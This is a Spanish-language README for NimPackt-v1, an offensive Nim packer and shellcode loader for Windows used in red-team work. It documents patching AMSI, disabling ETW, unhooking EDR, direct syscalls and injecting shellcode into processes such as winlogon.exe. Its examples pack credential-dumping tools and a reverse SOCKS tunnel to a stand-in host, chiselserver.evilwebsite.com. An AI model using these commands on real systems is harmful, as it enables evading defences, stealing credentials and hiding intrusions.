
Empacador de ensamblador basado en Nim y cargador de shellcode para opsec y beneficio

Por Cas van Cooten (@chvancooten)
Con especial agradecimiento a Marcello Salvati (@byt3bl33der) y Fabian Mosch (@S3cur3Th1sSh1t)
Actualización: NimPackt-v1 se encuentra entre el peor código que he escrito (recién empezaba a aprender Nim). Por ello, comencé una reescritura completa de NimPackt, denominada 'NimPackt-NG' (actualmente aún privada). Con esta reescritura, decidí publicar la rama antigua ("NimPackt-v1") como código abierto. Por lo tanto, esta rama ya no recibe mantenimiento y no incluye ninguna garantía ni soporte. Por supuesto, siempre se aceptan PRs :)
NimPackt es un packer basado en Nim para ejecutables .NET (C#) y shellcode dirigido a Windows. Envuelve automáticamente la carga útil en un binario Nim que se compila a C nativo, lo que dificulta su detección e ingeniería inversa. Hay dos métodos principales de ejecución:
Execute-Assembly re-empaqueta un ejecutable .NET y lo ejecuta, aplicando opcionalmente medidas evasivas como desenganche de API, parcheo de AMSI o desactivación de ETW.Shinject toma un archivo .bin con shellcode raw independiente de la posición y lo ejecuta localmente o en un proceso remoto, utilizando opcionalmente syscalls directas para activar el shellcode o parchear hooks de API para evadir EDR.Actualmente, NimPackt cuenta con las siguientes características.
NTDLL.dll usando ShellyCoatexe o dllUna gran fuente de binarios basados en C# para herramientas ofensivas se puede encontrar aquí. Se recomienda altamente compilar los binarios C# usted mismo. Aunque los binarios incrustados están cifrados, debe ofuscar los binarios sensibles (como Mimikatz) para reducir el riesgo de detección.
Si tiene problemas para compilar el binario con syscalls, intente degradar su GCC a la versión 8.1.0 (especialmente en Windows). ¡Siempre pruebe las cargas útiles generadas!
En Linux, simplemente instale los paquetes requeridos y use el instalador de paquetes Nimble para instalar los paquetes y bibliotecas de Python necesarios.
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto
En Windows, ejecute el instalador de Nim desde aquí. Asegúrese de instalar mingw y establecer los valores de ruta correctamente usando la utilidad finish.exe proporcionada. Si no tiene Python3, instálelo y luego instale los paquetes requeridos de la siguiente manera.
nimble install winim nimcrypto
pip3 install pycryptodome argparse
La imagen Docker chvancooten/nimbuild se puede utilizar para compilar binarios de NimPackt-v1. Usar Docker es fácil y evita problemas de dependencias, ya que todas las dependencias requeridas están preinstaladas en este contenedor.
Para usarlo, instale Docker para su sistema operativo y asegúrese de que el shellcode de entrada esté en la carpeta actual. Luego, inicie la compilación en un contenedor de la siguiente manera.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin
Para instalar el plugin de CobaltStrike, seleccione Cobalt Strike -> Script Manager en la barra de menú, y seleccione Load. ¡Asegúrese de cargar el archivo .cna desde su ubicación original, de lo contrario no podrá encontrar los archivos de script de NimPackt!

uso: NimPackt.py [-h] -e MODOEJECUCION -i ARCHIVOENTRADA [-a ARGUMENTOS] [-na] [-ne] [-r]
[-t OBJETIVOINYECCION] [-E] [-o ARCHIVOSALIDA] [-nu] [-ns] [-f TIPOARCHIVO] [-s] [-32] [-S]
[-d] [-v] [-V]
argumentos requeridos:
-e MODOEJECUCION, --executionmode MODOEJECUCION
Modo de ejecución del packer. Soporta "execute-assembly" o "shinject"
-i ARCHIVOENTRADA, --inputfile ARCHIVOENTRADA
Binario ejecutable .NET C# (.exe) o shellcode (.bin) para envolver
argumentos de execute-assembly:
-a ARGUMENTOS, --arguments ARGUMENTOS
Argumentos para "incrustar" en el binario envuelto, o "PASSTHRU" para aceptar
argumentos en tiempo de ejecución (por defecto)
-na, --nopatchamsi NO parchear (deshabilitar) la Interfaz de Escaneo Antimalware (AMSI)
-ne, --nodisableetw NO deshabilitar Event Tracing for Windows (ETW)
argumentos de shinject:
-r, --remote Inyectar shellcode en un proceso remoto (por defecto falso)
-t OBJETIVOINYECCION, --target OBJETIVOINYECCION
Hilo remoto objetivo para la inyección en proceso remoto
-E, --existing Inyectar de forma remota en un proceso existente en lugar de uno recién generado (por defecto
falso, implica -r) (ADVERTENCIA: VOLÁTIL)
otros argumentos:
-o ARCHIVOSALIDA, --outfile ARCHIVOSALIDA
Nombre del archivo de salida (ej. "LegitBinary"). Especifique SIN extensión
o ruta. Esta propiedad se almacenará en el binario de salida como el nombre original
del archivo
-nu, --nounhook NO desenganchar hooks de API de modo usuario en el proceso objetivo cargando un NTDLL.dll
fresco
-ns, --nosyscalls NO usar syscalls directas (generación de Windows 7-10) en lugar de APIs de alto
nivel para evadir EDR
-f TIPOARCHIVO, --filetype TIPOARCHIVO
Tipo de archivo a compilar ("exe" o "dll", por defecto: "exe")
-s, --sleep Dormir aproximadamente 30 segundos calculando números primos
-32, --32bit Compilar en modo de 32 bits (no probado)
-S, --showConsole Mostrar una ventana de consola con la salida de la aplicación al ejecutarse
-d, --debug Habilitar modo de depuración (conserva el archivo fuente .nim en la carpeta de salida)
-v, --verbose Imprimir mensajes de depuración del binario envuelto en tiempo de ejecución
-V, --version Mostrar el número de versión del programa y salir
Ejemplos:
# Empaquetar SharpKatz para aceptar argumentos en tiempo de ejecución, parcheando hooks de NTDLL, AMSI y ETW mientras imprime mensajes detallados en una consola visible en tiempo de ejecución
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v
# Empaquetar Seatbelt como un archivo DLL con argumentos incrustados (nota: escribir en archivo de salida porque stdout no está disponible para DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"
# Empaquetar SharpChisel con una cadena de conexión ChiselChief incorporada, no desenganchar, no parchear AMSI ni deshabilitar ETW, ocultar la ventana de la aplicación en tiempo de ejecución
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'
# Empaquetar shellcode raw a un archivo DLL que se ejecuta en el hilo local a través de syscalls directas, desenganchando también NTDLL
# Shellcode generado con 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll
# Empaquetar shellcode raw para ejecutarse en un hilo de Calculadora recién generado en una ventana invisible
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"
# Empaquetar shellcode raw para ejecutarse en el proceso existente de Winlogon (primer PID con nombre 'winlogon.exe'), no usar syscalls directas ni desenganchar NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns
Los binarios se almacenan en la subcarpeta output de su directorio de instalación. Los archivos dll generados se pueden ejecutar de la siguiente manera (el punto de entrada se puede cambiar en la plantilla Nim):
rundll32 exampleShinjectNimPackt.dll,IconSrv